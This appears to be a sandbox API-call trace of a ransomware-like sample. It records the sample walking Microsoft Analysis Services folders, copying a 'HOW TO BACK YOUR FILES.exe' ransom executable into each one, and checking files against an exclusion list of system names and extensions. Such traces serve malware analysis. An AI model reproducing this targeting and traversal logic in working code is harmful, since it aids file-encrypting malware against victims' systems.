	[0054.267] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10") returned 62
	[0054.267] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10" | out: lpString1="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10"
	[0054.267] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0054.267] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0054.277] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0054.277] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x386d4390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x386d4390, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0054.277] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.277] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0054.277] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0054.277] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x386d4390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x386d4390, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.277] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.277] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0054.277] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0054.277] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0054.277] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51494530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1
	[0054.277] lstrcmpiW (lpString1="Cartridges", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.277] lstrcmpiW (lpString1="Cartridges", lpString2="Apollon865.txt.exe") returned 1
	[0054.277] lstrcmpiW (lpString1="Cartridges", lpString2=".") returned 1
	[0054.277] lstrcmpiW (lpString1="Cartridges", lpString2="..") returned 1
	[0054.277] lstrcmpiW (lpString1="Cartridges", lpString2="windows") returned -1
	[0054.278] lstrcmpiW (lpString1="Cartridges", lpString2="bootmgr") returned 1
	[0054.278] lstrcmpiW (lpString1="Cartridges", lpString2="temp") returned -1
	[0054.278] lstrcmpiW (lpString1="Cartridges", lpString2="pagefile.sys") returned -1
	[0054.278] lstrcmpiW (lpString1="Cartridges", lpString2="boot") returned 1
	[0054.278] lstrcmpiW (lpString1="Cartridges", lpString2="ids.txt") returned -1
	[0054.278] lstrcmpiW (lpString1="Cartridges", lpString2="ntuser.dat") returned -1
	[0054.278] lstrcmpiW (lpString1="Cartridges", lpString2="perflogs") returned -1
	[0054.278] lstrcmpiW (lpString1="Cartridges", lpString2="MSBuild") returned -1
	[0054.278] lstrlenW (lpString="Cartridges") returned 10
	[0054.278] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\*") returned 64
	[0054.278] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="Cartridges" | out: lpString1="Cartridges") returned="Cartridges"
	[0054.278] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b68
	[0054.278] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x94) returned 0x599450
	[0054.278] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b70 | out: ListHead=0x5b76b0, ListEntry=0x5b7b70) returned 0x5b7970
	[0054.278] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x386d4390, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x386d4390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0054.278] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0054.278] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x150a6b00, ftCreationTime.dwHighDateTime=0x1ca2c5f, ftLastAccessTime.dwLowDateTime=0x516cf9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x150a6b00, ftLastWriteTime.dwHighDateTime=0x1ca2c5f, nFileSizeHigh=0x0, nFileSizeLow=0x1663968, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msmdlocal.dll", cAlternateFileName="MSMDLO~1.DLL")) returned 1
	[0054.278] lstrcmpiW (lpString1="msmdlocal.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.278] lstrcmpiW (lpString1="msmdlocal.dll", lpString2="Apollon865.txt.exe") returned 1
	[0054.278] lstrcmpiW (lpString1="msmdlocal.dll", lpString2=".") returned 1
	[0054.278] lstrcmpiW (lpString1="msmdlocal.dll", lpString2="..") returned 1
	[0054.278] lstrcmpiW (lpString1="msmdlocal.dll", lpString2="windows") returned -1
	[0054.278] lstrcmpiW (lpString1="msmdlocal.dll", lpString2="bootmgr") returned 1
	[0054.278] lstrcmpiW (lpString1="msmdlocal.dll", lpString2="temp") returned -1
	[0054.278] lstrcmpiW (lpString1="msmdlocal.dll", lpString2="pagefile.sys") returned -1
	[0054.278] lstrcmpiW (lpString1="msmdlocal.dll", lpString2="boot") returned 1
	[0054.278] lstrcmpiW (lpString1="msmdlocal.dll", lpString2="ids.txt") returned 1
	[0054.278] lstrcmpiW (lpString1="msmdlocal.dll", lpString2="ntuser.dat") returned -1
	[0054.278] lstrcmpiW (lpString1="msmdlocal.dll", lpString2="perflogs") returned -1
	[0054.278] lstrcmpiW (lpString1="msmdlocal.dll", lpString2="MSBuild") returned 1
	[0054.278] lstrlenW (lpString="msmdlocal.dll") returned 13
	[0054.278] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned 73
	[0054.278] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="msmdlocal.dll" | out: lpString1="msmdlocal.dll") returned="msmdlocal.dll"
	[0054.279] lstrlenW (lpString="msmdlocal.dll") returned 13
	[0054.279] lstrlenW (lpString="Apollon865") returned 10
	[0054.279] lstrcmpiW (lpString1="dlocal.dll", lpString2="Apollon865") returned 1
	[0054.279] lstrlenW (lpString=".dll") returned 4
	[0054.279] lstrcmpiW (lpString1="msmdlocal.dll", lpString2=".dll") returned 1
	[0054.279] lstrlenW (lpString=".lnk") returned 4
	[0054.279] lstrcmpiW (lpString1="msmdlocal.dll", lpString2=".lnk") returned 1
	[0054.279] lstrlenW (lpString=".ini") returned 4
	[0054.279] lstrcmpiW (lpString1="msmdlocal.dll", lpString2=".ini") returned 1
	[0054.279] lstrlenW (lpString=".sys") returned 4
	[0054.279] lstrcmpiW (lpString1="msmdlocal.dll", lpString2=".sys") returned 1
	[0054.279] lstrlenW (lpString="msmdlocal.dll") returned 13
	[0054.279] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="msmgdsrv.dll" | out: lpString1="msmgdsrv.dll") returned="msmgdsrv.dll"
	[0054.279] lstrlenW (lpString="msmgdsrv.dll") returned 12
	[0054.279] lstrlenW (lpString="Apollon865") returned 10
	[0054.279] lstrcmpiW (lpString1="mgdsrv.dll", lpString2="Apollon865") returned 1
	[0054.279] lstrlenW (lpString=".dll") returned 4
	[0054.279] lstrcmpiW (lpString1="msmgdsrv.dll", lpString2=".dll") returned 1
	[0054.279] lstrlenW (lpString=".lnk") returned 4
	[0054.279] lstrcmpiW (lpString1="msmgdsrv.dll", lpString2=".lnk") returned 1
	[0054.279] lstrlenW (lpString=".ini") returned 4
	[0054.279] lstrcmpiW (lpString1="msmgdsrv.dll", lpString2=".ini") returned 1
	[0054.279] lstrlenW (lpString=".sys") returned 4
	[0054.279] lstrcmpiW (lpString1="msmgdsrv.dll", lpString2=".sys") returned 1
	[0054.279] lstrlenW (lpString="msmgdsrv.dll") returned 12
	[0054.279] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="msolap100.dll" | out: lpString1="msolap100.dll") returned="msolap100.dll"
	[0054.279] lstrlenW (lpString="msolap100.dll") returned 13
	[0054.279] lstrlenW (lpString="Apollon865") returned 10
	[0054.279] lstrcmpiW (lpString1="lap100.dll", lpString2="Apollon865") returned 1
	[0054.279] lstrlenW (lpString=".dll") returned 4
	[0054.279] lstrcmpiW (lpString1="msolap100.dll", lpString2=".dll") returned 1
	[0054.280] lstrlenW (lpString=".lnk") returned 4
	[0054.280] lstrcmpiW (lpString1="msolap100.dll", lpString2=".lnk") returned 1
	[0054.280] lstrlenW (lpString=".ini") returned 4
	[0054.280] lstrcmpiW (lpString1="msolap100.dll", lpString2=".ini") returned 1
	[0054.280] lstrlenW (lpString=".sys") returned 4
	[0054.280] lstrcmpiW (lpString1="msolap100.dll", lpString2=".sys") returned 1
	[0054.280] lstrlenW (lpString="msolap100.dll") returned 13
	[0054.280] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="msolui100.dll" | out: lpString1="msolui100.dll") returned="msolui100.dll"
	[0054.280] lstrlenW (lpString="msolui100.dll") returned 13
	[0054.280] lstrlenW (lpString="Apollon865") returned 10
	[0054.280] lstrcmpiW (lpString1="lui100.dll", lpString2="Apollon865") returned 1
	[0054.280] lstrlenW (lpString=".dll") returned 4
	[0054.280] lstrcmpiW (lpString1="msolui100.dll", lpString2=".dll") returned 1
	[0054.280] lstrlenW (lpString=".lnk") returned 4
	[0054.280] lstrcmpiW (lpString1="msolui100.dll", lpString2=".lnk") returned 1
	[0054.280] lstrlenW (lpString=".ini") returned 4
	[0054.280] lstrcmpiW (lpString1="msolui100.dll", lpString2=".ini") returned 1
	[0054.280] lstrlenW (lpString=".sys") returned 4
	[0054.280] lstrcmpiW (lpString1="msolui100.dll", lpString2=".sys") returned 1
	[0054.280] lstrlenW (lpString="msolui100.dll") returned 13
	[0054.280] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="Resources" | out: lpString1="Resources") returned="Resources"
	[0054.280] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7988
	[0054.280] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x92) returned 0x5994f0
	[0054.280] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7990 | out: ListHead=0x5b76b0, ListEntry=0x5b7990) returned 0x5b7b70
	[0054.280] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1ae930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 0
	[0054.280] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0054.280] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7990
	[0054.280] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources"
	[0054.280] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994f0 | out: hHeap=0x580000) returned 1
	[0054.280] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0054.281] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources") returned 72
	[0054.281] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources" | out: lpString1="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources"
	[0054.281] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0054.281] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\resources\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0054.284] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0054.284] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x386d4390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x386d4390, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0054.285] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.285] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0054.285] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0054.285] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x386d4390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x386d4390, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.285] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.285] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0054.285] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0054.285] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0054.285] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0054.285] lstrcmpiW (lpString1="1033", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.285] lstrcmpiW (lpString1="1033", lpString2="Apollon865.txt.exe") returned -1
	[0054.285] lstrcmpiW (lpString1="1033", lpString2=".") returned 1
	[0054.285] lstrcmpiW (lpString1="1033", lpString2="..") returned 1
	[0054.285] lstrcmpiW (lpString1="1033", lpString2="windows") returned -1
	[0054.285] lstrcmpiW (lpString1="1033", lpString2="bootmgr") returned -1
	[0054.285] lstrcmpiW (lpString1="1033", lpString2="temp") returned -1
	[0054.285] lstrcmpiW (lpString1="1033", lpString2="pagefile.sys") returned -1
	[0054.285] lstrcmpiW (lpString1="1033", lpString2="boot") returned -1
	[0054.285] lstrcmpiW (lpString1="1033", lpString2="ids.txt") returned -1
	[0054.285] lstrcmpiW (lpString1="1033", lpString2="ntuser.dat") returned -1
	[0054.285] lstrcmpiW (lpString1="1033", lpString2="perflogs") returned -1
	[0054.285] lstrcmpiW (lpString1="1033", lpString2="MSBuild") returned -1
	[0054.285] lstrlenW (lpString="1033") returned 4
	[0054.285] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*") returned 74
	[0054.285] lstrcpyW (in: lpString1=0x2d3e5e2, lpString2="1033" | out: lpString1="1033") returned="1033"
	[0054.285] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7988
	[0054.285] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x9c) returned 0x5994f0
	[0054.285] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7990 | out: ListHead=0x5b76b0, ListEntry=0x5b7990) returned 0x5b7b70
	[0054.285] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x386d4390, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x386d4390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0054.286] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0054.286] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x386d4390, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x386d4390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0054.286] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0054.286] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7990
	[0054.286] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033"
	[0054.286] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994f0 | out: hHeap=0x580000) returned 1
	[0054.286] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0054.286] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033") returned 77
	[0054.286] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033" | out: lpString1="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033"
	[0054.286] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0054.286] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\resources\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0054.290] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0054.290] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x386d4390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x386d4390, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0054.290] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.290] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0054.290] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0054.290] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x386d4390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x386d4390, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.290] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.290] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0054.290] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0054.290] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0054.290] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x386d4390, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x386d4390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0054.290] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0054.290] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2fb3400, ftCreationTime.dwHighDateTime=0x1c9b093, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf2fb3400, ftLastWriteTime.dwHighDateTime=0x1c9b093, nFileSizeHigh=0x0, nFileSizeLow=0xa2d68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msmdsrv.rll", cAlternateFileName="")) returned 1
	[0054.290] lstrcmpiW (lpString1="msmdsrv.rll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.290] lstrcmpiW (lpString1="msmdsrv.rll", lpString2="Apollon865.txt.exe") returned 1
	[0054.290] lstrcmpiW (lpString1="msmdsrv.rll", lpString2=".") returned 1
	[0054.290] lstrcmpiW (lpString1="msmdsrv.rll", lpString2="..") returned 1
	[0054.290] lstrcmpiW (lpString1="msmdsrv.rll", lpString2="windows") returned -1
	[0054.290] lstrcmpiW (lpString1="msmdsrv.rll", lpString2="bootmgr") returned 1
	[0054.291] lstrcmpiW (lpString1="msmdsrv.rll", lpString2="temp") returned -1
	[0054.291] lstrcmpiW (lpString1="msmdsrv.rll", lpString2="pagefile.sys") returned -1
	[0054.291] lstrcmpiW (lpString1="msmdsrv.rll", lpString2="boot") returned 1
	[0054.291] lstrcmpiW (lpString1="msmdsrv.rll", lpString2="ids.txt") returned 1
	[0054.291] lstrcmpiW (lpString1="msmdsrv.rll", lpString2="ntuser.dat") returned -1
	[0054.291] lstrcmpiW (lpString1="msmdsrv.rll", lpString2="perflogs") returned -1
	[0054.291] lstrcmpiW (lpString1="msmdsrv.rll", lpString2="MSBuild") returned 1
	[0054.291] lstrlenW (lpString="msmdsrv.rll") returned 11
	[0054.291] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*") returned 79
	[0054.291] lstrcpyW (in: lpString1=0x2d3e5ec, lpString2="msmdsrv.rll" | out: lpString1="msmdsrv.rll") returned="msmdsrv.rll"
	[0054.291] lstrlenW (lpString="msmdsrv.rll") returned 11
	[0054.291] lstrlenW (lpString="Apollon865") returned 10
	[0054.291] lstrcmpiW (lpString1="smdsrv.rll", lpString2="Apollon865") returned 1
	[0054.291] lstrlenW (lpString=".dll") returned 4
	[0054.291] lstrcmpiW (lpString1="msmdsrv.rll", lpString2=".dll") returned 1
	[0054.291] lstrlenW (lpString=".lnk") returned 4
	[0054.291] lstrcmpiW (lpString1="msmdsrv.rll", lpString2=".lnk") returned 1
	[0054.291] lstrlenW (lpString=".ini") returned 4
	[0054.291] lstrcmpiW (lpString1="msmdsrv.rll", lpString2=".ini") returned 1
	[0054.291] lstrlenW (lpString=".sys") returned 4
	[0054.291] lstrcmpiW (lpString1="msmdsrv.rll", lpString2=".sys") returned 1
	[0054.291] lstrlenW (lpString="msmdsrv.rll") returned 11
	[0054.291] lstrcpyW (in: lpString1=0x2d3e5ec, lpString2="msolui100.rll" | out: lpString1="msolui100.rll") returned="msolui100.rll"
	[0054.291] lstrlenW (lpString="msolui100.rll") returned 13
	[0054.291] lstrlenW (lpString="Apollon865") returned 10
	[0054.291] lstrcmpiW (lpString1="lui100.rll", lpString2="Apollon865") returned 1
	[0054.291] lstrlenW (lpString=".dll") returned 4
